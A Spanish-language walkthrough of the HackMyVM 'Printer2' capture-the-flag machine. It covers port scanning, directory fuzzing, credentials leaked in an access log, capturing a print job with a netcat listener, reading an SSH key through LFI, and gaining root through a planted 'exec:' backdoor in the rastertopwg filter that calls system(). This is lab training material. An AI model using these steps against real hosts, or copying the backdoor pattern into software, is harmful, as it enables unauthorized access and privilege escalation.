HackMyVM - Printer2
- Leaked Credentials
- Local File Inclusion
- Abusing rastertopwg Binary
Escaneos de puertos
❯ nmap -p- -T5 -v -n 192.168.1.13
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
631/tcp open ipp
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,631 192.168.1.13
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 dbf946e520816ceec72508ab2251366c (RSA)
| 256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_ 256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Free Website Templates
|_http-server-header: Apache/2.4.56 (Debian)
631/tcp open ipp CUPS 2.3
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 2.3.3op2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: CUPS/2.3 IPP/2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 80 hay una simple web.
En el puerto 631 hay un servidor de impresión CUPS.
Miro la consola y encuentro un subdominio.
Me voy al nuevo subdominio.
Aplicando metodología básica obtengo un LFI.
Realizo fuerza bruta de directorios.
❯ wfuzz -c -t 200 --hc=404 --hw=28 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt 'http://printer4life.printer.hmv/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://printer4life.printer.hmv/FUZZ
Total requests: 63087
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000400: 200 16 L 30 W 365 Ch "."
000000682: 200 298 L 2699 W 73881 Ch "logo"
000001893: 200 170 L 1200 W 32034 Ch "hp"
000016754: 200 181 L 1997 W 60719 Ch "epson"
000013822: 200 365 L 3449 W 96679 Ch "canon"
000029137: 200 443 L 3702 W 36623 Ch "access_log"
Accedo al access_log hago una búsqueda de password y encuentro unas credenciales para la usuaria mabelle.
Me conecto al panel de administración de la impresora y selecciono AppSocket/HP JetDirect.
Añado mi dirección ip de mi máquina y dejo un netcat a la escucha.
Recibo los impresión en la terminal y veo el nombre de una llave rsa.
❯ nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.15] 47780
12345X@PJL
@PJL JOB NAME = "private_ssh_key" DISPLAY = "1111 mabelle private_ssh_key"
@PJL SET USERNAME = "mabelle"
@PJL SET TRAY = ALL
@PJL SET DUPLEX=ON
@PJL SET BINDING=LONGEDGE
@PJL SET RENDERMODE=COLOR
@PJL SET DATAMODE=COLOR
@PJL SET FITTOPAGESIZE=A4
@PJL SET RESOLUTION=600
@PJL SET WIDEA4=NO
@PJL SET BORDERLINE=OFF
@PJL SET EDGETOEDGE=NO
@PJL SET JOBOFFSET=SHIFT
@PJL SET OUTBIN=FINISHERSHIFT
@PJL SET MEDIATYPE=PLAIN
@PJL SET STAPLE=OFF
@PJL SET PUNCH=OFF
@PJL SET NUP =
@PJL SET NUPPAGEORDER =
@PJL ENTER LANGUAGE = PDF
%PDF-1.3
Mediante el LFI que he encontrado anteriormente puedo leer la llave rsa de la usuaria mabelle.
Me conecto al sistema como usuaria mabelle.
❯ ssh -i private_ssh_key mabelle@192.168.1.13
Linux printer.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
mabelle@printer:~$ id
uid=1000(mabelle) gid=1000(mabelle) groups=1000(mabelle),1001(lpadmin)
mabelle@printer:~$
Enumero puertos internos y el puerto 1001 me llama la atención.
mabelle@printer:/tmp$ ss -ltun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 10 127.0.0.1:1001 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:631 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
Con netcat me conecto al puerto 1001 y me muestra lo siguiente.
mabelle@printer:~$ nc localhost 1001
I put a backdoor in a printer filter.
Filter name:
Hago una búsqueda por filter y encuentro estas rutas.
mabelle@printer:/opt/cups-2.3.3/filter$ find / -name "filter" 2>/dev/null
/usr/lib/cups/filter
/opt/cups-2.3.3/filter
Primero me muevo a /opt/cups-2.3.3/filter y lanzo un ls para ver el contenido de la carpeta.
mabelle@printer:/opt/cups-2.3.3/filter$ ls -la
total 1144
drwxr-xr-x 2 501 staff 4096 Apr 22 10:32 .
drwxr-xr-x 26 501 staff 4096 Apr 16 12:47 ..
-rw-r--r-- 1 501 staff 11541 Feb 6 19:34 commandtops.c
-rw-r--r-- 1 root root 50488 Feb 6 19:34 commandtops.o
-rw-r--r-- 1 501 staff 11613 Feb 6 19:34 common.c
-rw-r--r-- 1 501 staff 1344 Feb 6 19:34 common.h
-rw-r--r-- 1 root root 49312 Feb 6 19:34 common.o
-rw-r--r-- 1 501 staff 2719 Feb 6 19:34 Dependencies
-rw-r--r-- 1 501 staff 2038 Feb 6 19:34 gziptoany.c
-rw-r--r-- 1 root root 17048 Feb 6 19:34 gziptoany.o
-rw-r--r-- 1 501 staff 4053 Feb 6 19:34 Makefile
-rw-r--r-- 1 501 staff 1295 Feb 6 19:34 postscript-driver.header
-rw-r--r-- 1 501 staff 14701 Feb 6 19:34 postscript-driver.shtml
-rw-r--r-- 1 501 staff 1275 Feb 6 19:34 ppd-compiler.header
-rw-r--r-- 1 501 staff 36686 Feb 6 19:34 ppd-compiler.shtml
-rw-r--r-- 1 501 staff 86511 Feb 6 19:34 pstops.c
-rw-r--r-- 1 root root 233464 Feb 6 19:34 pstops.o
-rw-r--r-- 1 501 staff 1232 Feb 6 19:34 raster-driver.header
-rw-r--r-- 1 501 staff 11869 Feb 6 19:34 raster-driver.shtml
-rw-r--r-- 1 501 staff 24526 Feb 6 19:34 rastertoepson.c
-rw-r--r-- 1 root root 104192 Feb 6 19:34 rastertoepson.o
-rw-r--r-- 1 501 staff 18977 Feb 6 19:34 rastertohp.c
-rw-r--r-- 1 root root 94120 Feb 6 19:34 rastertohp.o
-rw-r--r-- 1 501 staff 27170 Feb 6 19:34 rastertolabel.c
-rw-r--r-- 1 root root 129552 Feb 6 19:34 rastertolabel.o
-rw-r--r-- 1 root root 16862 Feb 6 19:34 rastertopwg.c
-rw-r--r-- 1 root root 78152 Feb 6 19:34 rastertopwg.o
-rw-r--r-- 1 501 staff 1346 Feb 6 19:34 spec-ppd.header
-rw-r--r-- 1 501 staff 79306 Feb 6 19:34 spec-ppd.shtml
Uso el comando stat para obtener información detallada sobre los archivos con extensión .c.
mabelle@printer:/opt/cups-2.3.3/filter$ stat *.c
File: commandtops.c
Size: 11541 Blocks: 24 IO Block: 4096 regular file
Device: 801h/2049d Inode: 914160 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 501/ UNKNOWN) Gid: ( 50/ staff)
Access: 2023-05-20 03:00:51.741963018 +0200
Modify: 2023-02-06 19:34:59.988824776 +0100
Change: 2023-04-17 06:48:38.320179173 +0200
Birth: 2023-04-16 12:17:49.030590662 +0200
File: common.c
Size: 11613 Blocks: 24 IO Block: 4096 regular file
Device: 801h/2049d Inode: 914148 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 501/ UNKNOWN) Gid: ( 50/ staff)
Access: 2023-05-20 03:01:43.850202632 +0200
Modify: 2023-02-06 19:34:59.988824776 +0100
Change: 2023-04-17 06:48:38.320179173 +0200
Birth: 2023-04-16 12:17:49.026590229 +0200
Ahora lanzo stat con los siguientes parámetros.
mabelle@printer:/opt/cups-2.3.3/filter$ stat -c "Filter: %n-20 %w" *.c
Filter: commandtops.c-20 2023-04-16 12:17:49.030590662 +0200
Filter: common.c-20 2023-04-16 12:17:49.026590229 +0200
Filter: gziptoany.c-20 2023-04-16 12:17:49.026590229 +0200
Filter: pstops.c-20 2023-04-16 12:17:49.030590662 +0200
Filter: rastertoepson.c-20 2023-04-16 12:17:49.034591094 +0200
Filter: rastertohp.c-20 2023-04-16 12:17:49.030590662 +0200
Filter: rastertolabel.c-20 2023-04-16 12:17:49.026590229 +0200
Filter: rastertopwg.c-20 2023-04-17 06:47:53.537110978 +0200
- Opción -c para especificar el formato de salida personalizado.
- Opción %n representa el nombre del archivo.
- Opción %w representa la fecha de creación.
- Opción *.c se le indica al comando stat que aplique el formato a todos los archivos con extensión .c.
Visualizo el contenido del archivo rastertopwg.c
.
for (int i = 1; i < argc; i++) {
if (strncmp(argv[i], "exec:", 5) == 0) {
system(argv[i] + 5);
}
En esta parte del código hay un bucle
for
que recorre los argumentos de línea de comandos. Para cada argumento, verifica si comienza con “exec:”. Si es así, ejecuta el comando.
Me voy al directorio /usr/lib/cups/filter que encontré anteriormente con find y lanzo el siguiente comando.
mabelle@printer:/usr/lib/cups/filter$ ./rastertopwg exec:id
uid=1000(mabelle) gid=1000(mabelle) groups=1000(mabelle),1001(lpadmin)
Usage: rastertopwg job user title copies options [filename]
Me conecto de nuevo al puerto 1001 y obtengo unas credenciales para el usuario kierra.
mabelle@printer:~$ nc localhost 1001
I put a backdoor in a printer filter.
Filter name: rastertopwg
You are awesome! Here is the password: w*********a
Uso las credenciales para pivotar de mabelle a kierra y enumero permisos de sudo.
kierra@printer:~$ sudo -l
[sudo] password for kierra:
Matching Defaults entries for kierra on printer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kierra may run the following commands on printer:
(ALL : ALL) /usr/lib/cups/filter/rastertopwg
Obtengo el root de la siguiente forma.
kierra@printer:~$ sudo /usr/lib/cups/filter/rastertopwg exec:bash
root@printer:/home/kierra# id
uid=0(root) gid=0(root) groups=0(root)
Y aquí termina Printer2.
Saludos!